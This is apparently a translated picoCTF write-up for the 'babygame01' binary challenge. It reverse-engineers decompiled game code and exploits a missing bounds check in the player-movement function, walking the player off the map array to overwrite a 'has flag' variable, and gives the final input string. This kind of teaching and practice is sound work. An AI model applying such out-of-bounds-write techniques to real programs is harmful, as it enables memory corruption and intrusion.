This page was translated from Spanish with AI. The original version is in Spanish: read the original.

babygame01

pico
pwn

July 7, 20256 minutes

No source code is provided for this challenge

Renaming variables and understanding the code

main

undefined4 main(void)

{
  int iVar1;
  undefined4 uVar2;
  int in_GS_OFFSET;
  int local_aac;
  int local_aa8;
  char local_aa4;
  undefined local_aa0 [2700];
  int local_14;
  undefined *local_10;
  
  local_10 = &stack0x00000004;
  local_14 = *(int *)(in_GS_OFFSET + 0x14);
  init_player(&local_aac);
  init_map(local_aa0,&local_aac);
  print_map(local_aa0,&local_aac);
  signal(2,sigint_handler);
  do {
    do {
      iVar1 = getchar();
      move_player(&local_aac,(int)(char)iVar1,local_aa0) ;
      print_map(local_aa0,&local_aac);
    } while (local_aac != 0x1d);
  } while (local_aa8 != 0x59);
  puts("You win!");
  if (local_aa4 != '\0') {
    puts("flage");
    win();
    fflush(_stdout);
  }
  uVar2 = 0;
  if (local_14 != *(int *)(in_GS_OFFSET + 0x14)) {
    uVar2 = __stack_chk_fail_local();
  }
  return uVar2;
}

The local_aa0 variable looks like the one that stores the game map

  undefined local_aa0 [2700];
  undefined mapa [2700];

iVar1 stores the input for where we want to go

iVar1 = getchar();
move = getchar();

The move_player() function is given the move, the map and local_aac, which looks like the player’s position.

move_player(&local_aac,(int)(char)move,mapa);
move_player(&pos_player,(int)(char)move,mapa);

Further down, it checks whether we’ve reached the target position; otherwise the program loop continues. Judging by how it’s written, pos_player seems to be x and local_aa8 seems to be y

    } while (pos_player != 0x1d);
  } while (local_aa8 != 0x59);

But then why is only x passed to move_player? It could be that pos_player is a list of 2 ints, int pos_player[2];, so local_aa8 = pos_player[1] and pos_player = pos_player[0]

    } while (pos_player[0] != 0x1d);
  } while (pos_player[1] != 0x59);

move_player

void move_player(int *pos_player,char move,int mapa)

{
  int iVar1;
  
  if (move == 'l') {
    iVar1 = getchar();
    player_tile = (undefined)iVar1;
  }
  if (move == 'p') {
    solve_round(mapa,pos_player);
  }
  *(undefined *)(*pos_player * 0x5a + mapa + pos_play er[1]) = 0x2e;
  if (move == 'w') {
    *pos_player = *pos_player + -1;
  }
  else if (move == 's') {
    *pos_player = *pos_player + 1;
  }
  else if (move == 'a') {
    pos_player[1] = pos_player[1] + -1;
  }
  else if (move == 'd') {
    pos_player[1] = pos_player[1] + 1;
  }
  *(undefined *)(*pos_player * 0x5a + mapa + pos_play er[1]) = player_tile;
  return;
}
  • If the character entered earlier is l, it asks for another character, which will be the icon at the player’s position (default: @).
  • If p was entered, it calls solve_round, which basically takes you to the final position automatically
  • With w, a, s, d it simply moves in that direction
  if (move == 'w') {
    *pos_player = *pos_player + -1;
  }
  else if (move == 's') {
    *pos_player = *pos_player + 1;
  }
  else if (move == 'a') {
    pos_player[1] = pos_player[1] + -1;
  }
  else if (move == 'd') {
    pos_player[1] = pos_player[1] + 1;
  }

The print_map function prints the map. It loops over 30*90, which is 2700, the size of the map, so we can confirm that variable really was the map

void print_map(int mapa,undefined4 pos_player)

{
  int y;
  int x;
  
  clear_screen();
  find_player_pos(mapa);
  find_end_tile_pos(mapa);
  print_flag_status(pos_player);
  for (y = 0; y < 30; y = y + 1) {
    for (x = 0; x < 90; x = x + 1) {
      putchar((int)*(char *)(x + mapa + y * 0x5a));
    }
    putchar(10);
  }
  fflush(_stdout);
  return;
}

find_player_pos

void find_player_pos(int mapa)

{
  int y;
  int x;
  
  y = 0;
  do {
    if (29 < y) {
      return;
    }
    for (x = 0; x < 90; x = x + 1) {
      if (*(char *)(x + mapa + y * 90) == player_tile) {
        printf("Player position: %d %d\n",y,x);
        return;
      }
    }
    y = y + 1;
  } while( true );
}

It iterates over the whole map looking for a character in the map array equal to player_tile, which is the player’s character (default: @). If it finds it, it assumes the player is at that position. This means player_tile is written directly into the map array, at the corresponding position, after each move. Going back to the move_player() function, at the very end there is

*(undefined *)(*pos_player * 0x5a + mapa + pos_player[1]) = player_tile;

This writes the character representing the player (default: @) at the literal position in the 2D map array; in simplified form, it would be something like map[227] = player_tile

The values of pos_player are used directly as positions inside the map, but in move_player, pressing any key adds pos_player[x] + 1 or pos_player[x] - 1, and at no point does it check whether the array bounds are exceeded.

Exploitation

So if we go to position 0 of the map array and keep pressing a to move backwards through the array, we can end up overwriting other variables.

To check this, I set the letter A as player_tile

lA

Then I went to the top left of the map and moved back one position at a time, and on the fourth a, the value of “player has flag” changed to 65

Player has flag: 65

And A in ASCII is exactly 65

$ ascii -d
    0 NUL    16 DLE    32      48 0    64 @    80 P    96 `   112 p 
    1 SOH    17 DC1    33 !    49 1    65 A    81 Q    97 a   113 q 
    2 STX    18 DC2    34 "    50 2    66 B    82 R    98 b   114 r 
    3 ETX    19 DC3    35 #    51 3    67 C    83 S    99 c   115 s 
    4 EOT    20 DC4    36 $    52 4    68 D    84 T   100 d   116 t 
    5 ENQ    21 NAK    37 %    53 5    69 E    85 U   101 e   117 u 
    6 ACK    22 SYN    38 &    54 6    70 F    86 V   102 f   118 v 
    7 BEL    23 ETB    39 '    55 7    71 G    87 W   103 g   119 w 
    8 BS     24 CAN    40 (    56 8    72 H    88 X   104 h   120 x 
    9 HT     25 EM     41 )    57 9    73 I    89 Y   105 i   121 y 
   10 LF     26 SUB    42 *    58 :    74 J    90 Z   106 j   122 z 
   11 VT     27 ESC    43 +    59 ;    75 K    91 [   107 k   123 { 
   12 FF     28 FS     44 ,    60 <    76 L    92 \   108 l   124 | 
   13 CR     29 GS     45 -    61 =    77 M    93 ]   109 m   125 } 
   14 SO     30 RS     46 .    62 >    78 N    94 ^   110 n   126 ~ 
   15 SI     31 US     47 /    63 ?    79 O    95 _   111 o   127 DEL

So we have written player_tile into the variable that stores what gets printed as “player has flag”

Going back to main

  do {
    do {
      move = getchar();
      move_player(&pos_player[0],(int)(char)move,mapa) ;
      print_map(mapa,&pos_player[0]);
    } while (pos_player[0] != 29);
  } while (pos_player[1] != 89);
  puts("You win!");
  if (has_flag != '\0') {
    puts("flage");
    win();
    fflush(_stdout);
  }

To reach win we need to get to “x = 29”, “y = 89” and have has_flag be non-zero

Final payload:

wwwwaaaaaaaap
  • wwwwaaaa: Get to map[0]
  • aaaa: Move back to the has_flag variable and overwrite it
  • p: Use the option that solves the round automatically and reaches “x = 29” and “y = 89”
You win!
flage
PICOCTF{FLAGGG}